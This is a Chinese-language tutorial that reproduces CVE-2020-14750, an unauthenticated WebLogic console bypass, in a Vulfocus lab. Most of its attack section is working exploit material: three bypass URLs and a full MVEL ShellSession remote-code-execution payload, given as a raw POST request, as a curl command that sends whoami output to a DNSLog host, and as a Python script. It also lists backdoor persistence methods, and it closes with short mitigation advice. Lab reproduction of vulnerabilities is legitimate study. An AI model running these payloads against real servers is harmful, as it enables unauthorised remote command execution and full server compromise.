CVE-2020-14750 漏洞复现:3种绕过认证路径分析与vulfocus靶场实战
CVE-2020-14750漏洞深度解析从认证绕达到命令执行的完整攻击链当WebLogic的控制台成为攻击者的后门一场关于权限边界的攻防战就此展开。CVE-2020-14750不是简单的漏洞复现案例而是展现了现代中间件安全中认证机制被突破后的连锁反应。本文将带您穿透表象揭示三种截然不同的URL构造如何突破认证边界最终实现远程代码执行的全过程。漏洞背景与影响范围Oracle WebLogic Server作为企业级Java应用服务器的代表其控制台组件承担着关键的管理职能。2020年10月曝光的CVE-2020-14750漏洞本质上是早前CVE-2020-14882补丁的绕过方案。这个漏洞的特殊之处在于攻击门槛极低无需任何身份凭证影响范围广泛涉及多个长期支持版本危害程度严重直接导致服务器完全沦陷受影响的具体版本包括WebLogic版本号发布年份是否LTS10.3.6.0.02011是12.1.3.0.02016是12.2.1.3.02018是12.2.1.4.02019是14.1.1.0.02019否这个漏洞的CVSSv3评分高达9.8属于网络可打、无需权限、无需交互的三无高危漏洞。攻击者只需要向目标服务器发送精心构造的HTTP请求就能完全控制WebLogic实例。环境准备与靶场搭建为了安全地研究这个漏洞我们使用Vulfocus提供的靶场环境进行实验。这个Docker化的环境完美复现了存在漏洞的WebLogic实例# 拉取vulfocus镜像 git clone https://github.com/fofapro/vulfocus.git cd vulfocus # 启动环境确保已安装docker-compose docker-compose up -d环境启动后访问http://[靶机IP]:7001/console应该能看到WebLogic登录页面。值得注意的是这个漏洞的利用不依赖于后台账号密码但部分利用链需要先登录才能触发。实验环境的关键组件攻击机Kali Linux 2023靶机Vulfocus WebLogic 12.2.1.3.0工具集Burp Suite Community 2023Firefox/Chrome浏览器curl命令行工具DNSLog平台用于外带验证三种认证绕过路径剖析漏洞的核心在于WebLogic对URL路径处理的逻辑缺陷。我们发现了三种截然不同的绕过方式每种都揭示了中间件处理HTTP请求时的不同弱点。方法一路径穿越编码绕过这是最经典的利用方式通过双重URL编码实现路径穿越http://target:7001/console/css/%252e%252e%252fconsole.portal这个payload的精妙之处在于%252e是.字符的二次编码%25解码为%%2e解码为.%252f同理是/的二次编码组合起来形成../的穿越效果不同浏览器的处理差异浏览器类型绕过效果原因分析Firefox 78成功自动解码二次URL编码Chrome 85成功保留原始编码发送Edge 44失败自动规范化URL路径Safari 13失败严格的安全策略限制方法二参数注入绕过当直接路径穿越被拦截时这个参数注入方式往往能出奇制胜http://target:7001/console/css/%252e%252e%252fconsole.portal?_nfpbtrue_pageLabelDomainConfigGeneralPagehandlecom.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29关键参数解析_nfpbtrue触发后台功能标志_pageLabel指定管理页面handle通过JMX接口操作MBean这种方法利用了WebLogic控制台的功能参数组合通过合法的参数传递实现未授权访问。方法三HTTP方法转换某些防护设备只检测GET请求此时改用POST方式可能绕过检测POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: target:7001 Content-Type: application/x-www-form-urlencoded Content-Length: 1364 _nfpbtrue_pageLabelhandlecom.tangosol.coherence.mvel2.sh.ShellSession(weblogic.work.ExecuteThread executeThread (weblogic.work.ExecuteThread) Thread.currentThread();\x0d\x0aweblogic.work.WorkAdapter adapter executeThread.getCurrentWork();\x0d\x0ajava.lang.reflect.Field field adapter.getClass().getDeclaredField(\connectionHandler\);\x0d\x0afield.setAccessible(true);\x0d\x0aObject obj field.get(adapter);\x0d\x0aweblogic.servlet.internal.ServletRequestImpl req (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\getServletRequest\).invoke(obj);\x0d\x0aString cmd req.getHeader(\cmd\);\x0d\x0aString[] cmds System.getProperty(\os.name\).toLowerCase().contains(\window\) ? new String[]{\cmd.exe\, \/c\, cmd} : new String[]{\/bin/sh\, \-c\, cmd};\x0d\x0aif (cmd ! null) {\x0d\x0a String result new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\\\\\A\).next();\x0d\x0a weblogic.servlet.internal.ServletResponseImpl res (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\getResponse\).invoke(req);\x0d\x0a res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\x0d\x0a res.getServletOutputStream().flush();\x0d\x0a res.getWriter().write(\\);\x0d\x0a}executeThread.interrupt();这个POST请求通过自定义header传递命令利用MVEL表达式注入实现RCE。从绕过到RCE完整攻击链构建认证绕过只是第一步真正的威胁在于如何将未授权访问升级为代码执行。我们通过以下步骤构建完整攻击链信息收集阶段# 确认WebLogic版本 curl -I http://target:7001/console/login/LoginForm.jsp # 检查补丁状态 curl http://target:7001/console/css/%252e%252e%252fconsole.portal -v权限维持技巧通过DeploymentService上传war后门修改JNDI树植入持久化后门添加恶意JMS监听器命令执行实战 使用DNSLog平台验证漏洞存在curl -X POST http://target:7001/console/css/%252e%252e%252fconsole.portal \ -H cmd: nslookup $(whoami).dnslog.cn \ --data-raw _nfpbtrue_pageLabelhandlecom.tangosol.coherence.mvel2.sh.ShellSession(weblogic.work.ExecuteThread executeThread ...)完整的Linux系统命令执行流程import requests payload weblogic.work.ExecuteThread executeThread (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter executeThread.getCurrentWork(); java.lang.reflect.Field field adapter.getClass().getDeclaredField(connectionHandler); field.setAccessible(true); Object obj field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(getServletRequest).invoke(obj); String cmd req.getHeader(cmd); String[] cmds System.getProperty(os.name).toLowerCase().contains(window) ? new String[]{cmd.exe, /c, cmd} : new String[]{/bin/sh, -c, cmd}; if (cmd ! null) { String result new java.util.Scanner( java.lang.Runtime.getRuntime().exec(cmds).getInputStream() ).useDelimiter(\\\\A).next(); weblogic.servlet.internal.ServletResponseImpl res (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(getResponse).invoke(req); res.getServletOutputStream().writeStream( new weblogic.xml.util.StringInputStream(result) ); res.getServletOutputStream().flush(); res.getWriter().write(); } executeThread.interrupt(); headers { cmd: id;uname -a, Content-Type: application/x-www-form-urlencoded } response requests.post( http://target:7001/console/css/%252e%252e%252fconsole.portal, headersheaders, dataf_nfpbtrue_pageLabelhandlecom.tangosol.coherence.mvel2.sh.ShellSession({payload}) ) print(response.text)防御策略与缓解措施面对这种高危漏洞我们建议采取分层防御策略紧急缓解方案限制/console路径的访问IP禁用T3协议非必要情况下# 连接过滤器配置示例 weblogic.security.net.ConnectionFilterImpl * * 7001 deny t3 t3s长期加固建议遵循最小权限原则配置WebLogic启用管理通道加密定期审计MBean操作日志补丁管理流程graph TD A[监控Oracle安全通告] -- B{漏洞影响评估} B --|是| C[测试环境验证] B --|否| D[风险接受] C -- E[制定回滚方案] E -- F[生产环境部署] F -- G[验证补丁效果]真正的安全不在于修补单个漏洞而在于建立持续的安全运维体系。WebLogic这类中间件的安全性既取决于厂商的及时响应更依赖于使用者的安全意识和运维水平。